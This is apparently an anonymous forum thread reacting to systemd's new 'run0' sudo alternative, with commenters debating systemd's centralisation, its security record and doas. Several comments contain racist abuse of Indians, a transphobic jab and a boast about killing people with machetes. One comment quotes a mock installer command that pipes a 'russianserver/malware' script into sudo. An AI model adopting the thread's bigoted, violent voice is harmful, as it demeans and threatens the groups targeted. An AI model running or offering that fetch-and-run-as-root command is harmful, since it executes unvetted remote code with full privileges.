The systemd menace is now Rolling Out "run0" As sudo Alternative
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I've been using Linux regularly for something like 10 years, and I still don't have any clue about why schzoids hate systemd
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100% of the grievances are just mental gymnastics around the fact they don't like this smug frick
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whomst
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Basically imagine your average HRT-chugging project maintainer/coder and now imagine that same person but from 20 years ago and that IBM/Red hat and all the linux distributions started backing him for some reason and made his software the de facto standard in their area
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Total clogger death.
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Before systemd there was a very simple process (easy to review) running startup scripts (hard to review) handling boot with no central hub. Admittedly mayhem, then Systemd wants to be the overseer. One argument against systemd is you open yourself up to attacks against systemd which is much more complex. It's centralization vs. decentralization. You break systemd you have the machine, you break a startup script you might have a limited account.
Now Systemd as always presents the "we are secure enough that ALL our components will never threaten any system takeover" while expanding their systems to take over and not having a perfect security track record.
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Yeah but no one who actually uses Linux professionally cares cause systemd makes systems administration way easier
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It's not very linuxy and feels unfamiliar, that's the real reason.
Most people just like hate memes though
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Why can't I dump a bash script in a folder like a Neanderthal
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systemd is on a feedback loop where it takes over more components/dictates a standard, is too big to remove so the rest of the ecosystem falls in line, making it even more entrenched and able to dictate further standards, and so on.
There are specific technical arguments around some of its decisions, and the expected drama over what political norms it might start enforcing, but the gist is no singular entity should be in its position to begin with.
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Peanut gallery mostly.
They have to cook up grand conspiracies that Red Hat is an evil entity trying to make Linux worse.
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It is, they paid off the gnometards to not add thumbnails to the file pickers because they didn't see a business case for it
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the file picker issue was finally fixed when a guy went through the trouble of optimizing the legacy code. I believe that was always the problem- even if it was a gay reason.
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it didn't make anime real.
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When I started everything was SysV which I guess was too hard for some people. I like systemd just fine, if nothing else it's way better than upstart.
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"run0"
Fricking heck
I don't mind systemd, it works after all... But man that's a pain in the butt to type.
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I wonder if you could do something like ring0 ring1 etc so you could basically have granular control and noobs could just always type ring0 but the rest of us would be good.
!codecels
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Does it matter when developers release "installers" that are like wget http://russianserver/malware/install.sh | sudo ./install.sh or whatever the frick
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Doesn't doas already fill this niche anyway?
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Any sudo replacement needs the equivalent of sudo's -i and -E flags
-i so you can become root so you can cd into /boot
-E so you can edit root-owned files in your own environment
I hope systemd's solution includes these flags. I am an enthusiastic supporter of systemd, if only to spite Slashdot.
Everyone championed doas but it had no -i and -E flags. That made it useless for real people in the real world, like me. Doas is a failed project. Strong Kitty vibes.
Aside: Chandrashekar Brahmingangescorpse, the developer of Kitty, has no imagination and doesn't understand the needs of normal people. The point of Tmux isn't to display panes and multiplex terminals, the point is to exist this ephemeral terminal environment that you can access at any point, via its local, ssh, or whatever.
I ssh into a session running Kitty, and look, I can't see anything. This is because we go to the potty in the streets, and we bake bread on the sides of ovens (???), and we make our income by scamming innocent 80-year-old American retirees.
Anyway. I like systemd and wayland. I like tmux. I dislike slashdot and Indians. I slaughter greybeards with machetes and grenade launchers.
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This is a really long way of saying you don't frick.
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i still dont understand the difference between su and sudo -i
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do -i
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run0 make me a sandwich, b-word! amirite? lololol
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I mean I hate sudo, but what's wrong with doas?
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I need a Fat Albert Marsey for all my BSDposts.
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Motherlover, I had a .edu email before .com TLDs existed. All y'all AOLn00bs think you're fresh; you're just trite.
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Linux communities are low effort but I smell a drama opportunity w/ all of this
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why?
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